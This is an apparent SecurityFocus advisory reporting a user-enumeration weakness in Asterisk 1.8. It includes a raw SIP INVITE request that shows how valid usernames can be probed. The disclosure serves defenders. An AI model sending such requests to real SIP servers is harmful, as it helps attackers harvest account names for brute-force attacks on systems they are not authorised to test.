source: http://www.securityfocus.com/bid/47676/info

Asterisk is prone to a user-enumeration weakness.

An attacker may leverage this issue to harvest valid usernames, which may aid in brute-force attacks.

This issue affects Asterisks 1.8. 

The following request is available:

INVITE sip:192.168.2.1 SIP/2.0
CSeq: 3 INVITE
Via: SIP/2.0/UDP www.example.com:5060;branch=z9hG4bK78adb2cd-0671-e011-81a1-a1816009ca7a;rport
User-Agent: TT
From: <sip:105@192.168.2.1>;tag=642d29cd-0671-e011-81a1-a1816009ca7a
Call-ID: 5RRdd5Cv-0771-e011-84a1-a1816009ca7a@lapblack2
To: <sip:500@192.168.2.1>
Contact: <sip:105@localhost>;q=1
Allow: INVITE,ACK,OPTIONS,BYE,CANCEL,SUBSCRIBE,NOTIFY,REFER,MESSAGE,INFO,PING
Expires: 3600
Content-Length: 0
Max-Forwards: 70